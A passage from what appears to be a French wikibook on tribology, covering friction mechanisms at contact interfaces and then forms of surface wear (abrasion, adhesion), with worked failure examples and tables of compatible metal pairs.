bourrelets frontaux par déformation plastique du composant le plus mou des deux surfaces en mouvement relatif. Une portée sphérique appuyée, puis soumise à un effort tangentiel, donne naissance à un bourrelet qui se propage en précédent le curseur (Kragelsky et Courtel). La formation du bourrelet par déformation plastique prépare l'usure et peut éventuellement expliquer la naissance du grippage épidermique. Le bourrelet frontal est une surélévation de matériau refoulé devant le frotteur sous l'effet des contraintes tangentielles. Chaque aspérité du frotteur doit repousser, labourer ou franchir en la sautant la butte qui s'oppose au mouvement. Les déformations superficielles ou profondes absorbent de l'énergie par hystérésis ou plasticité, elles expliquent en partie la résistance au mouvement lors des mouvements de glissement ou de roulement. === Transformations dans l'interface === L'interface de frottement est une zone très perturbée par les efforts et les interactions des matériaux des pièces. ''Est-ce une solution de continuité entre les deux matériaux, une zone d'équilibre instable clivant un arrangement atomique ?'' Se demande Jean-Jacques Caubet ? Les dégâts produits par le frottement proviennent en grande partie de la soudure des aspérités des pièces frottantes. Cette soudure est facilitée, comme cela a été écrit, par l'existence simultanée de hautes pressions et de hautes températures dans les zones de contact. Il faut donc étudier la miscibilité des matériaux constituant le couple de frottement. Coffin a lancé les bases de ce travail en 1952 et défini trois catégories : * métaux totalement insolubles ne formant aucun composé intermétallique d'aucune sorte, * métaux totalement insolubles mais formant à haute température des composés intermétalliques, * métaux solubles partiellement (par exemple le cuivre et l'argent) ou totalement (le cuivre et le nickel). Ceci est généralisable à d'autres matériaux que les métaux. Les jonctions formées sont principalement de deux sortes : * les '''composés électroniques''', qui ont été particulièrement étudiés en 1931 par Hume-Rothery et ultérieurement par d'autres chercheurs, sont proches des composés chimiques mais non déterminés rigoureusement par le jeu des valences. Un alliage électronique est probable si les atomes de l'un et l'autre corps s'attirent plus que ceux d'un même corps et si aucun n'a de caractère électronégatif trop évident : on en connaît de très nombreux exemples avec des structures cubique centrée (CuZn, Cu<sub>2</sub>Al, Cu<sub>3</sub>Sn, FeAl), cubique complexe (Cu<sub>5</sub>Sn, Cu<sub>5</sub>5Zn<sub>8</sub>, Fe<sub>5</sub>5Zn<sub>21</sub>), hexagonale compacte (CuZn<sub>2</sub>, Cu<sub>3</sub>Sn ). * les '''solutions solides''' se forment lorsque les atomes de deux matériaux s'attirent avec la même intensité que ceux d'un même matériau. On distingue des solutions solides intersticielles où des atomes de petite taille sont insérés entre les atomes beaucoup plus gros d'un réseau cristallin et des solutions solides de substitution, ordonnées ou non, dans lesquelles les atomes du réseau sont remplacés par d'autres de taille voisine. Avec certains matériaux il peut exister différentes configurations successives en fonction des concentrations relatives : par exemple, lorsque le fer contient de 0 à 18 % d'aluminium cela donne une solution solide désordonnée. Jusqu'à la combinaison correspondant à Fe<sub>3</sub>Al les atomes se placent dans des positions particulières et l'on a une solution solide ordonnée. À partir de cette concentration et jusqu'à FeAl un second type de solution ordonnée apparaît. Il y a donc une sorte de chaîne continue de solutions solides successives. ==== métaux compatibles et modes de frottement ==== '''Seuls peuvent frotter avec des surfaces nues et propres des matériaux totalement insolubles l'un dans l'autre'''. Dans le cas contraire, il se produit des filiations cristallines par échauffement et pression, aboutissant à des soudures. Un métal frottant sur lui-même est évidemment la situation à rechercher pour le soudage (autrefois, les forgerons de village soudaient les éléments d'acier en les martelant à chaud, aujourd'hui on raboute par choc brutal des câbles conducteurs en aluminium venant juste d'être limés pour éviter la présence d'alumine). Il va de soi qu'une telle situation doit autant que possible être évitée en frottement. Si la résistance au cisaillement des soudures est supérieure à celle du corps le plus tendre, celui-ci est cisaillé et transféré sur l'autre, puis, très vite, frotte sur lui-même, d'où le terme de '''frottement par soudure'''. Le coefficient de frottement f est alors le rapport entre la résistance au cisaillement t et la limite d'élasticité R de ce corps : P étant la charge normale, T l'effort tangentiel moteur, S la surface théorique du contact et s sa surface réelle, on a : ::: P = sR et T = st ::: Il en résulte que T/P = st/sR = t/R Si les soudures de l'interface sont plus fragiles que le plus fragile des corps en présence il n'y a ni transport de métal ni lésion des surfaces, c'est le frottement par cisaillement, qui est inférieur au précédent. Les microsoudures sont rompues à l'interface sans émettre beaucoup de débris, contrairement à ce qui se passe dans le frottement par soudure. On trouvera une liste des couples de matériaux donnant de bonnes caractéristiques frottantes dans le chapitre sur l'[[usure des surfaces|usure]]. Ces couples ont pour caractéristiques : * de ne pas donner de filiations cristallines continues et homogènes, par exemple le chrome et l'argent. * ou de ne donner, dans le cas contraire, que des composés intermétalliques fragiles comme dans le cas du fer et de l'étain où ces composés diminuent la probabilité du grippage. La formation de composés fragiles peut être favorisée par la présence d'un troisième corps : par exemple, l'aluminium et le fer qui constituent en temps ordinaire un couple de frottement très mauvais, deviennent des matériaux acceptables en présence de soufre, élément essentiel pour les traitements de surface par diffusion. L'acier sulfinuzé frotte convenablement sur l'aluminium car les alliages aluminium-fer sont fragilisés par le soufre. La théorie du cisaillement des jonctions explique en partie le faible coefficient de frottement de matériaux durs sur des couches minces de matériaux mous : dépôts de plomb, indium, sélénium, PTFE, MoS<sub>2</sub>. Elle explique aussi que le frottement sec, même sous faible charge, produise toujours des dégâts notables. Par contre elle se révèle insuffisante dans bien des cas, d'où la nécessité de considérer d'autres paramètres. On ne sait pas pourquoi, par exemple, un frotteur d'argent frotte bien sur une piste en fer, tandis que le frottement d'un curseur de fer sur une piste d'argent est mauvais, et pourquoi l'on trouve alors deux coefficients de frottement différents. Il existe aussi des couples de métaux qui présentent une vitesse critique telle qu'en-deçà, le frottement se fait par soudure et au-delà, par cisaillement ... ==== rôle des couches d'oxydes ==== Les films d'oxydes sont moins susceptibles de donner des filiations cristallines que les métaux, en raison de leur structure amorphe. Toutefois, il faut prendre en compte d'autres paramètres, leur dureté et leur point de fusion. A faible charge et vitesse lente, les oxydes ne risquent rien et le choix des métaux est secondaire. À plus forte vitesse, il faut que ce soit un oxyde qui fonde en premier et non un métal. À des vitesses encore plus grandes la rupture des films d'oxydes est inévitable et le choix des métaux est prépondérant. ==== migrations dans l'interface ==== L'exemple de quelques métaux cuivreux frottant sur l'acier donne à réfléchir à un autre aspect du problème : En faisant frotter du cuivre non allié en atmosphère neutre d'azote, on provoque l'apparition d'amorces de grippage par transfert du cuivre sur l'acier, l'émission de débris, et l'on note une élévation brusque du coefficient de frottement. Avec le bronze UE12P en atmosphère neutre d'azote, on constate l'apparition progressive d'un composé rouge sans modification du frottement. Il y a enrichissement superficiel du bronze en étain et en fer, appauvrissement en cuivre. Dans l'air ambiant le cuivre se recouvre progressivement d'un composé noirâtre formé d'oxydes de cuivre jouant un rôle protecteur contre le frottement. Le bronze UE12P donne d'abord un coefficient de frottement constant voisin de 0,08, puis qui s'abaisse jusque vers 0,04 tandis que se forme une couche brunâtre riche en oxygène, en carbone et en fer, ces derniers provenant de l'acier antagoniste. Dans les deux cas de figure il existe une rugosité au-delà de laquelle les pièces grippent instantanément, la couche protectrice étant râpée. Tout ceci pose de multiples questions et les choses se compliquent encore quand on lubrifie. Heureusement, on dispose aujourd'hui de méthodes d'investigation permettant de connaître la nature et la structure des éléments présents, leur disposition, leur forme chimique : diffraction des rayons X, méthodes nucléaires, spectrométrie des photons, des électrons, des ions secondaires. La plupart de ces méthodes nécessitent le vide. Il faut par ailleurs connaître les surfaces sur des profondeurs de plusieurs dizaines de microns. On peut actuellement non seulement déterminer la composition des films interfaciaux adhérents mais aussi émettre des hypothèses sur la chronologie de formation de ces films. C'est ainsi que l'on trouve des choses étonnantes : dans le frottement de certaines matières plastiques sur les métaux, on s'aperçoit que des atomes métalliques se dissolvent dans la surface antagoniste. L'ensemble de ces observations montre que le bon fonctionnement d'une pièce en alliage est assujetti à la formation à sa surface, en cours de frottement, d'une couche protectrice de composition très différente de celle du métal à cœur, mêlée d'oxydes et de débris de l'antagoniste, couche dont la bonne tenue dépend essentiellement de la nature de l'ambiance et de la rugosité de la pièce antagoniste. Le frottement se révèle donc être, dans la plupart des cas, un phénomène à trois corps : les deux pièces et le film de transfert créé entre elles. ==== phénomènes thermiques ==== Les résistances passives produisent de la chaleur qui se répartit inégalement entre les deux corps, de sorte que le choix du matériau de la pièce la mieux ventilée est extrêmement important. Les divers phénomènes thermiques accompagnant le frottement ont été étudiés par [[w:Marcel Brillouin|Marcel Brillouin]] au siècle dernier. Il est très difficile de vérifier si effectivement les deux surfaces frottantes sont à la même température. La quantité de chaleur produite par le frottement ne naît pas forcément à l'interface, mais éventuellement aussi dans les pièces. Tout ceci ne facilite pas les choses. On connaît toutefois la loi de Charron : lorsque deux corps de géométrie et de cinématique identiques frottent l'un contre l'autre, la chaleur produite se partage entre eux proportionnellement à leur facteur <math>\sqrt {Lcd}</math>, où L est la conductivité thermique, c la chaleur massique et d la densité. Dans les cas où une forte dissipation de chaleur est prévue, aucune bonne solution n'a encore été trouvée en utilisant le frottement sec. === Genèse des coefficients de frottement === Les forces de frottement correspondent à des pertes d'énergie appartenant à deux catégories : * d'une part, celles qui correspondent à la rupture des ponts créés par l'adhérence, donc au cisaillement épidermique. * d'autre part, celles qui correspondent aux diverses déformations : labourage et constitution du bourrelet frontal, déformation plastique des petites aspérités, glissements dans et entre les grains du matériau et d'une manière générale, récupération imparfaite des déformations élastiques par suite de l'hystérésis. Les coefficients changent profondément selon que l'on glisse, pivote ou roule, selon la part des cisaillements épidermiques ou des déformations. En règle générale les cisaillements sont prépondérants dans les mouvements de glissement et de pivotement, pour le roulement ce sont les pertes par hystérésis qui prennent le dessus. Lorsqu'il y a combinaison de mouvements de plusieurs sortes, par exemple glissement et roulement, il devient hasardeux de faire des pronostics. '''En général le coefficient d'adhérence est généralement plus important que le coefficient de frottement'''. On interprète ce phénomène par la montée des aspérités d'une pièce sur celles de l'autre pour que le déplacement puisse avoir lieu. Une fois cette montée accomplie, on pourrait penser que les surfaces n'ont pas le temps de retomber lorsque la vitesse est assez forte, mais ceci n'est pas du tout évident. Si l'on applique une charge tangentielle à une bille pressée en contact avec un plan, on constate que la partie avant de l'empreinte est plus large que la partie arrière. La bille se déplace un peu dans le matériau avant que le glissement ne commence vraiment. L'état d'équilibre d'avant l'application de la charge tangentielle est rompu. La bille, qui modélise ici le contact d'aspérités, se décale latéralement en même temps qu'elle s'enfonce. Verkhovskii en 1927, puis Courtney-Pratt ont étudié en détail les déplacements préliminaires. Le frottement est par ailleurs lié à divers phénomènes vibratoires, dont le plus connu est le mouvement baptisé en anglais « stick-slip », ce qui signifie littéralement colle-glisse. Il s'agit d'un processus de relaxation dont on peut trouver de nombreux exemples : frottement de l'archet contre la corde d'un violon, freins qui grincent, craie qui crisse sur le tableau, ... On constate des à-coups dans les vitesses lentes : D'après Courtel, chaque temps d'arrêt permettrait à une rangée d'aspérités de se réenclencher dans l'autre, d'où un coefficient de frottement oscillant et des vibrations normales et tangentielles qui sont simultanées, de même fréquence et en phase. Ce mode de frottement laisse des traces d'allure périodique. Par ailleurs, il faut signaler que le coefficient de frottement peut devenir très faible dans le cas où les pièces frottantes sont excitées par une source de vibrations extérieure. == Paramètres pour la fabrication == Les surfaces frottantes doivent être conformes à des critères précis et il est bien évident que le bureau d'études doit se préoccuper des protocoles de fabrication des pièces qu'il aura dessinées. Il existe heureusement un certain nombre de règles de l'art qui seront étudiées plus loin. L<nowiki>'</nowiki>'''état de surface''' doit être parfaitement spécifié. Par exemple, l'étanchéité dans un tiroir hydraulique dépend davantage de la disposition, de la profondeur et de la forme des sillons que de l'espace ménagé entre les pièces. L'élaboration des relations entre les critères géométriques et l'état de surface est hélas rendue très difficile en raison du nombre de paramètres. Les calculs de '''résistance des matériaux''' n'ont de valeur qu'en fonction d'une structure donnée et ils doivent concerner des volumes de matière tels que les lois statistiques puissent s'appliquer. Ce n'est évidemment pas le cas pour les surfaces. Il faut combiner les contraintes de frottement qui peuvent être, de loin, les plus dangereuses, avec celles résultant d'autres sollicitations. L'endommagement des surfaces par frottement joue le rôle du premier stade de la fatigue et raccourcit considérablement la durée de vie des pièces jusqu'à l'amorçage de la fissuration, laquelle est favorisée par les sillons laissés par l'usinage ou l'usure. Les '''contraintes résiduelles de compression''' retardent la fissuration sans modifier la durée entre l'apparition d'une fissure et la rupture. Or, le simple changement de fluide d'arrosage en rectification peut inverser le signe de ces contraintes résiduelles. Autrement dit, lorsque l'on aura trouvé la bonne méthode de fabrication, il faudra s'efforcer de la codifier et surtout il ne faudra la changer, même légèrement, qu'après des essais et une nouvelle codification. Les exemples ne manquent pas, de causes apparemment négligeables ayant entraîné des catastrophes : * changement de fournisseur de fonte, pour des pistons de compresseurs frigorifiques, * teneur en phosphore du bronze utilisé pour des paliers de poupées de tour. * remplacement d'un outil en carbure par un autre en acier rapide dans l'usinage de cylindres de compresseurs. * ... Tribologie - Usure des surfaces 983 43302 2006-05-27T09:35:23Z Jean-Jacques MILAN 114 /* Usure dentaire */ compléments et remise en ordre du paragraphe [[Catégorie:Tribologie]] {{Tribologie}} Merci de consulter la page de discussion associée. L<nowiki>'</nowiki>'''usure''' est un ensemble complexe de phénomènes difficiles à interpréter, amenant une émission de débris avec perte de masse, de cote, de forme, et s'accompagnant de transformations physiques et chimiques des surfaces. La majeure partie de cet article est consacrée à l'usure des machines, mais on y trouvera aussi des données sur les phénomènes d'usure qui concernent le monde vivant, en particulier certaines parties du corps humain comme les articulations ou les dents, ainsi que les prothèses qui parfois les remplacent lorsque l'endommagement est trop important. == Généralités == L'usure ne varie généralement pas de manière progressive en fonction de paramètres comme la vitesse, la température ou le temps. Si certaines formes d'usure sont relativement régulières, d'autres au contraire connaissent des sauts très brutaux, dans des rapports pouvant aller parfois de 1 à 100 000 ou plus, lorsque certaines valeurs critiques sont franchies. L'usure est généralement combattue à cause de ses effets négatifs mais elle présente aussi des aspects favorables. L'affûtage d'un outil, la finition d'une surface par rectification, l'écriture de la craie sur le tableau ou du crayon sur le papier sont des exemples d'usures abrasives utiles. A l'image des pompiers qui allument parfois des contre-feux pour mieux lutter contre un incendie, il arrive que l'on provoque sciemment certaines formes d'usure pour lutter contre d'autres formes qui seraient beaucoup plus dévastatrices. Quand il est bien conduit, le rodage d'un mécanisme, c'est-à-dire la phase de fonctionnement où les pièces « apprennent à vivre ensemble », provoque des usures qui se révèleront « protectrices » lors des phases suivantes. La plupart du temps, l'usure globale d'un mécanisme est due à plusieurs processus qui agissent simultanément, plus rarement à un processus bien défini et identifiable. L'effet de ces actions simultanées est souvent plus important que la somme des effets que l'on produirait en faisant agir séparément les divers processus, on parle parfois de « suradditivité ». À l'opposé, certaines formes d'usure s'excluent mutuellement : par exemple, les dents s'usent principalement par carie et par abrasion, mais ces deux processus ne coexistent absolument pas, les zones abrasées ne sont jamais cariées. === Phases de la vie d'un mécanisme === Un mécanisme passe normalement par trois phases d'usure successives : {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Perte_de_matiere.png|none|175px|]] |- align=center | <small>'''Perte de matière par unité de temps'''</small> |} * l''''ultime finition''' des surfaces lors du [[w:rodage|'''rodage''']] : les actions sur les grosses aspérités diminuent avec le temps, les pics sont arasés progressivement tandis que les vallées restent intactes. Le taux d'usure et le facteur de frottement baissent, les portées s'améliorent, les films d'huile s'amincissent. Une nouvelle topographie remplace la rugosité originale de la pièce. Si l'usure se ralentit lors de la mise en fonctionnement, on constate une amélioration de l'état de surface, et réciproquement. * la '''vie utile''' correspond au régime d''''usure douce''' : la couche superficielle très dure qui semble se former est éliminée peu à peu sous forme de petites écailles. L'usure douce diminue la rugosité, tandis que l'usure sévère l'accroît. * enfin, la '''vieillesse''' se caractérise par une usure sévère qui aboutit à la mise hors d'usage. Les débris d'usure portent en eux l'histoire de leur formation et l'examen des particules de fer dans les lubrifiants, ou '''ferrographie''', apporte de précieuses informations. Les processus d'avarie produisent des particules atteignant 0,1 mm, mais les débris d'usure douce ont moins de 15 micromètres. Même après une vidange, il y a vite équilibre dans un lubrifiant entre la production des particules et leur élimination par décantation, filtration, rétention par un bouchon magnétique ... === Types d'usure, d'après Kragelsky === Kragelsky distingue 5 types d'usure : * la '''déformation élastique''' du matériau par les saillies du corps antagoniste a lieu si les contraintes ne dépassent pas la limite d'écoulement dans la zone de contact. L'usure n'est alors possible que par fatigue, le passage répété du corps frottant produisant des microfissures de traction perpendiculaires à la surface. * un '''repoussage plastique''' se produit si les contraintes de contact atteignent la limite d'écoulement et si le matériau contourne les saillies du corps antagoniste. L'usure résulte dans ce cas, après un petit nombre de cycles, de la fatigue provoquée par le contact frottant. * la '''microcoupe''' survient si les contraintes dans la zone de contact atteignent la limite de rupture ou si le contournement des saillies par le matériau déformé s'interrompt. La détérioration a lieu alors au début de l'interaction. La coupe est due aux aspérités, aux particules détachées et aux arêtes des cavités déjà formées. * la '''rupture par cisaillement''' de l'interface de friction ne provoque pas de détériorations immédiates mais s'ajoute aux contraintes et aux déformations agissant au contact, favorisant les processus de fatigue. * la '''rupture par arrachement''' a lieu quand la résistance de l'interface dépasse celle du matériau sousjacent, ce qui peut conduire au [[w:grippage|grippage]]. Comme dans le troisième cas, l'usure intervient dès les premières étapes de l'interaction. L'adhésion des aspérités est favorisée par les déformations plastiques et le râclage des couches oxydées et contaminées. Les nombreuses formes d'usure sont classées en plusieurs groupes : * abrasion, déformation ou coupe par corps durs, * adhésion, jonctions intermétalliques, microgrippages, * corrosion, réactivité avec l'ambiance, * corrosion de contact, * surcontraintes provoquant des accidents brusques, * fluage, déformation sans perte de matière, * fatigue, endommagement sous des efforts répétés, * phénomènes divers : cavitation, érosion, dissolution ... L'usure comporte une part importante de réactions chimiques ; des couches superficielles chimiquement inertes peuvent parfois se révéler plus résistantes au frottement que des couches dures, surtout en présence de milieux agressifs. == Difficultés de l'étude et de l'expertise == L'usure est un phénomène évolutif et irréversible ; chaque état d'un système détruit définitivement l'état précédent, de sorte qu'il est très difficile, voire impossible, de reconstituer le passé à partir du constat d'une dégradation. La compréhension d'un phénomène d'usure nécessite que l'on puisse enregistrer, si possible en continu, les divers paramètres permettant de caractériser l'état du système étudié au fil du temps. Malheureusement, ces paramètres sont très nombreux, on estime par exemple qu'il en faut entre 100 et 200 pour définir les seules caractéristiques géométriques d'une des surfaces frottantes ... et il faut encore caractériser l'autre surface, l'état physicochimique des matériaux sur une profondeur suffisante, l'état et la composition de l'ambiance, les facteurs thermiques et mécaniques, etc. Tout ceci n'est réalisable que pour des essais en laboratoire mais se révèle en général impossible pour un mécanisme réel en fonctionnement. Bien souvent, l'expert chargé de donner son avis ne peut émettre que des hypothèses, auxquelles il se cantonnera s'il est honnête. Voici un exemple concret : {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |+ '''Usure anormale d'un arbre à cames et d'un poussoir''' |- valign=top |[[Image:Arbre_a_cames02.jpg|none|200px|center|]] |La voiture de Monsieur R. n'a que 40 000 km mais depuis quelques semaines on l'entend venir de loin. Après démontage partiel du moteur, on constate que l'une des cames de l'arbre à cames a perdu beaucoup de matière, plus de 2 mm par endroits. Les autres cames sont « normalement usées » mais portent quelques traces suspectes probablement dues à la circulation des débris de la came endommagée. |- valign=top |[[Image:Arbre_a_cames01.jpg|none|200px|center|]] |Le poussoir commandé par cette came (à gauche sur la photo) porte lui aussi des traces d'usure anormales : il a perdu environ 1,5 mm d'épaisseur par rapport à ses « petits camarades ». En cumulant les deux pertes de matière, le « déficit » pour le mouvement du poussoir est de l'ordre de 3 à 4 mm, ce qui limite considérablement l'ouverture de la soupape correspondante et perturbe le fonctionnement du moteur. |} L'expertise ne peut rien donner de concret ici, les matériaux des couches superficielles ont été dénaturés, dispersés dans tout le moteur sous forme de fines particules et pour une bonne part, éliminés lors des vidanges. La forme « catastrophique » de l'usure constatée le jour du démontage n'a probablement rien à voir avec le phénomène anormal qui est à l'origine de l'endommagement. On ne peut pas savoir si ce démarrage est dû à un défaut de la came, ou à un défaut du poussoir, ou à une incompatibilité entre les surfaces de ces deux pièces, ou encore à une cause extérieure. Une telle usure est exceptionnelle et l'on ne peut même pas savoir si elle se reproduira un jour, sous la même forme, dans un autre moteur. Elle relève « de la faute à pas de chance » et il est donc absolument impossible de la prévoir et de l'étudier ... == Usure par abrasion == Cette forme de dégradation est généralement combattue, mais aussi utilisée pour l'usinage : des taux d'usure importants sont recherchés et obtenus avec des outils abrasifs en rectification, affûtage, etc. L'abrasion coûte très cher, on lui attribue à peu près le tiers du total des pertes économiques dues à l'usure. Elle concerne de nombreux mécanismes fonctionnant dans des conditions sévères : machines agricoles, matériels de travaux publics, matériel minier ... === Aspect des dégâts === Les surfaces présentent des sillons de profondeur variable, parallèles au déplacement. L'usure est assez constante au cours du temps, le volume des débris croît linéairement avec la charge appliquée et la distance parcourue. La vitesse n'intervient que si l'échauffement modifie les caractéristiques du matériau. Eventuellement, des particules arrachées de la pièce la plus tendre peuvent être transférées mécaniquement sur la plus dure mais sans y adhérer très solidement, comme fait le plomb lorsqu'il « beurre » une lime, la rendant inopérante. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |+ '''Pièces usées par abrasion''' |- valign=top |[[Image:Usure par abrasion 01.jpg|200px|none|]] |L'allure typique des stries d'abrasion peut être constatée sur ce tourillon. Il s'agit ici d'une usure abrasive à trois corps, car l'arbre tournait dans un coussinet moins dur que lui. Ce processus est expliqué dans le paragraphe suivant. |- valign=top |[[Image:Usure par abrasion 02.jpg|200px|none|]] |Voici une usure abrasive à trois corps nettement plus sévère. Elle s'est produite au niveau d'un joint d'étanchéité qui a provoqué un point d'accumulation de débris abrasifs. |- valign=top |[[Image:Usure par abrasion 03.jpg|200px|none|]] |Il y avait initialement trois dentures sur cet arbre de boîte de vitesses de machine agricole, mais l'usure abrasive, agissant probablement de façon concommitante avec d'autres formes d'usure, a exercé ses méfaits. En toute logique, le propriétaire aurait dû être alerté par le bruit, on sait bien que la matière est « bonne fille », mais tout de même ... |} === Nature du phénomène === L'usure peut résulter des protubérances d'une des pièces ou des particules qui circulent dans l'interface. On peut distinguer deux modes d'usure par abrasion : * l''''abrasion à deux corps''', dans laquelle la pièce la plus dure « lime », « râpe » la plus tendre, * l''''abrasion à trois corps''', dans laquelle des éléments plus durs que les pièces en présence s'incrustent dans la pièce la moins dure. La perte de matière dépend à la fois du matériau usé et de l'abrasif et l'aspect des sillons fournit de précieuses indications : * s'ils sont brillants et très peu profonds, les aspérités de la pièce antagoniste ont râclé les couches d'oxydes, * s'ils sont isolés, et brusquement interrompus, des particules dures introduites entre les surfaces se sont plus ou moins incrustées, * s'ils sont ininterrompus et rayent la pièce dure, des particules abrasives sont enchâssées dans la pièce tendre. * s'ils sont ininterrompus et marquent la pièce tendre, la pièce antagoniste plus dure est trop rugueuse. L'abrasion combine déformation et coupe. Elle creuse d'abord des sillons puis, si les capacités de déformation sont dépassées, elle enlève des microcopeaux. Les bourrelets latéraux des sillons peuvent se détacher ultérieurement. Lors d'un usinage par abrasion, on fait tout pour que le métal soit enlevé sous forme de petits copeaux, tels que ceux que l'on retrouve dans le fluide de refroidissement d'une rectifieuse. Pour rayer une surface il suffit d'une autre plus dure de 20 à 25 %. L'usure croît dès que la dureté de l'abrasif atteint 0,7 fois celle de la surface usée et se stabilise quand elle atteint 1,7 fois. L'abrasion par coupe, fonction de la forme des aspérités, est négligeable si le rapport des duretés est compris entre 0,8 et 1,3. Les débris émis par les surfaces acquièrent une dureté bien supérieure à celle des matériaux en présence, provoquant une abrasion à trois corps. Ceci est dû à l'écrouissage et à l'oxydation, cette dernière dépendant entre autres de l'humidité atmosphérique. L'abrasion modifie profondément les couches superficielles qui deviennent comparables à celles obtenues par laminage. Les surfaces durcissent et résistent mieux à l'abrasion elle-même. L'usure dépend des vitesses relatives des surfaces et des particules, de la forme et de la résistance des grains. Elle croît avec la taille de ces derniers, se stabilisant pour une dimension critique voisine de 0,1 mm, et varie selon que les contraintes sont faibles ou fortes, les charges agissent directement ou indirectement, en brisant ou en déformant les grains abrasifs. Les caractéristiques de l'ambiance modulent l'abrasion mais influent en général assez peu si la vitesse d'usure est grande. === Prévention === L'abrasion est une usure typique des systèmes télescopiques : tiges de vérins, broches de machinesoutils, certains paliers ... Il faut empêcher l'entrée des corps étrangers par une bonne étanchéité et imposer des jeux plus petits que les particules abrasives, si l'on sait que ces dernières sont assez grosses. Il faut aussi donner une dureté maximale à la pièce qui défile devant la zone de contact et faire l'autre aussi « tendre » que possible pour qu'elle puisse « enliser » les particules abrasives. Un coussinet trop dur incrustant des corps étrangers use davantage l'arbre. Il est essentiel que les particules abrasives et les '''débris d'usure''' soient évacués des zones frottantes. Il faut impérativement prévoir des sculptures ou des moletages, si aucune circulation de lubrifiant ne permet cette évacuation. L'usure des matériaux purs est à peu près inversement proportionnelle à leur dureté mais le rapport de proportionalité varie avec leur structure. Généralement on diminue l'abrasion en augmentant la dureté superficielle sur une profondeur importante. Une meilleure résistance à l'oxydation et à la corrosion donne moins d'oxydes abrasifs, l'écrouissage augmente la dureté et la résistance à l'usure. Il y a 30 ans on n'utilisait que les fontes et les aciers spéciaux, avec le chrome comme élément d'alliage privilégié. Depuis, la palette s'est élargie à certaines matières plastiques et céramiques. Pour les métaux ferreux on peut utiliser des structures martensitiques ou apporter un fort pourcentage de phases dures, carbures ou nitrures. On trouve, par ordre de résistance décroissante : * fonte blanche traitée : nitruration, sulfinuz, ténifer, * fonte blanche à haute teneur en chrome, * aciers Hadfield ( aciers austénitiques formant une couche martensitique dure par écrouissage ), * aciers martensitiques, * aciers bainitiques. Certains polymères résistent bien à l'abrasion, car ils absorbent beaucoup d'énergie avant de se fragmenter. Les revêtements durs sont souvent une solution. Cependant, si l'abrasif n'est pas trop dur, on peut parfois utiliser un matériau tendre protégé par des inclusions de matériau très dur. == Usure par adhésion == === Aspect des dégâts === Le matériau d'une pièce est transféré et solidement soudé sur l'autre. Les pièces peuvent être immobilisées par un grippage, dont la forme n'est reconnaissable qu'au début, avant que les surfaces ne soient complètement défigurées. Contrairement à ce qui se passe dans le cas de l'abrasion, de brusques changements de régime d'usure peuvent résulter de légères modifications des paramètres. Pour des surfaces non lubrifiées, le coefficient de frottement n'est pas multiplié par plus de vingt mais le taux d'usure peut varier d'un facteur un million. Il faut insister sur la solidité des soudures formées par usure adhésive. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |+ '''Usure adhésive''' |- valign=top |[[Image:Traces brunes sur une bague de roulement.jpg|200px|center|]] |Le roulement ci-contre, qui provient d'une turbine d'hélicoptère, a été éliminé à cause des traces brunes suspectes bien visibles sur la bague intérieure. Il vaut mieux, évidemment, que l'on ne sache pas ce qui se serait passé si la dégradation s'était pousuivie en vol ... car il s'agit vraisemblablement d'un début de grippage. |- valign=top |[[Image:Debut_de_grippage.jpg|200px|center|]] |Ce tourillon porte diverses traces d'usure. À gauche, on trouve des stries continues probablement dues à un phénomène d'abrasion. À droite, les stries sont beaucoup plus chaotiques, avec des traces d'arrachements caractéristiques de l'usure adhésive. Le stade suivant aurait été le grippage, avec immobilisation de l'arbre dans son guidage. |- valign=top |[[Image:Grippage sur une dent d'engrenage.jpg|200px|center|]] |Grippage sur une dent d'engrenage. Le pignon endommagé provient d'une boîte de vitesses de motocyclette. Les arrachements sont ici parfaitement visibles, les surcharges appliquées sur la denture ont fini par causer la rupture de plusieurs dents. |} === Nature du phénomène === La matière d'une pièce est transférée sur l'autre pendant le mouvement par soudage en phase solide. Les métaux, s'ils sont mutuellement solubles, forment des alliages par diffusion. * Si l'interface est moins solide que les pièces, les jonctions se cisaillent par rupture adhésive, l'usure est modérée ou quasi nulle. * Si l'interface est plus solide qu'une des pièces, il y a rupture cohésive, usure sévère, voire grippage. L'interface se fixe sur la pièce la plus résistante ou se détache sous forme de particules qui, écrouies et oxydées, peuvent contribuer à l'abrasion. On sait calculer ou mesurer la force d'attraction entre deux matériaux mais pas la force de décohésion une fois le contact établi. La séparation par décohésion ne se fait pas d'un coup mais se propage comme une fissure ; le frottement vient de la force requise pour cisailler les jonctions. Le grippage épidermique, conséquence extrême du frottement par soudure, est facilité par divers facteurs comme : * l'accumulation de matière devant les aspérités du frotteur qui augmente l'aire réelle du contact, * la mise à nu des structures cristallines sans possibilité de repollution, * l'accumulation de reliefs dans un sens parallèle à la direction du déplacement, * l'échauffement. L'effet de la charge est double : l'échauffement et la rupture des films d'oxydes favorisent l'usure adhésive, comme pour les engrenages lourdement chargés. La vitesse a deux effets opposés : elle facilite la formation de films d'huile, mais en même temps elle la limite par l'échauffement qui diminue l'adsorption des films superficiels protecteurs et la viscosité des lubrifiants. L'ambiance modifie les propriétés des surfaces, entre autres par la formation d'oxydes. C'est dans le vide que les risques de grippage sont les plus élevés. === Prévention === Il faut choisir des couples de matériaux n'offrant aucune possibilité de filiation cristalline résistante. Les suivants sont couramment utilisables en atmosphère non oxydante (attention, l'argent et le cobalt sont compatibles mais pas leurs oxydes !). {| style="border:1px solid darkgray" cellpadding="3" cellspacing="4" align="center" |+ '''Couples de métaux compatibles''' |- | Acier || Argent, Antimoine |- | Chrome || Argent, Cadmium, Or |- | Molybdène || Argent, Cuivre, Or, Palladium |- | Tungstène || Argent, Cuivre |- | Argent || Cobalt, Rhénium |- |} En fonction des circonstances, on peut essayer d'autres couples. Les données de l'ambiance (milieu chimique, lubrifiant, ...) sont ici très importantes. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="4" align="center" |+ '''Couples de métaux à essayer''' |- | Acier || Cadmium, Étain, Plomb, Indium, Or, Thallium |- | Chrome || Étain, Plomb, Cuivre, Platine, Rhénium |- | Molybdène || Étain |- | Tungstène || Étain |- | Nickel || Plomb, Thallium |- | Titane || Argent |- | Aluminium || Cadmium, Indium, Thallium, Plomb |- | Cuivre || Thallium, Plomb |- | Plomb || Cobalt |- |} On peut métalliser les pièces, en se méfiant de la fragilisation par l'hydrogène lors des dépôts électrolytiques. Deux métaux incompatibles peuvent devenir compatibles par l'action d'un troisième élément : ainsi la présence d'étain 